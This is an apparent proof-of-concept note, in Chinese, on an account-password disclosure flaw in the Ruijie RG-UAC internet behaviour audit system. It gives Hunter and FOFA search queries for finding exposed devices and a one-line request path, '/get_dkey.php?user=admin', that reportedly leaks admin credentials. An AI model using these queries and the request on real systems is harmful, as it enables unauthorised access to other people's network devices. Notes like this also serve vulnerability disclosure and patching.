POC/wpoc/锐捷/锐捷RG-UAC应用网关/锐捷RG-UAC统一上网行为管理审计系统账号密码泄漏漏洞.md

锐捷RG-UAC统一上网行为管理审计系统账号密码泄漏漏洞

一、漏洞简介

锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台 。

二、影响版本

• 锐捷RG-UAC统一上网行为管理审计系统

三、资产测绘

• hunterapp.name="Ruijie 锐捷 RG-UAC"
• fofoa:app="Ruijie-RG-UAC"

登录页

四、漏洞复现

/get_dkey.php?user=admin

更新: 2024-06-24 11:42:28
原文: https://www.yuque.com/xiaokp7/ocvun2/vfv3tndznm6x0igq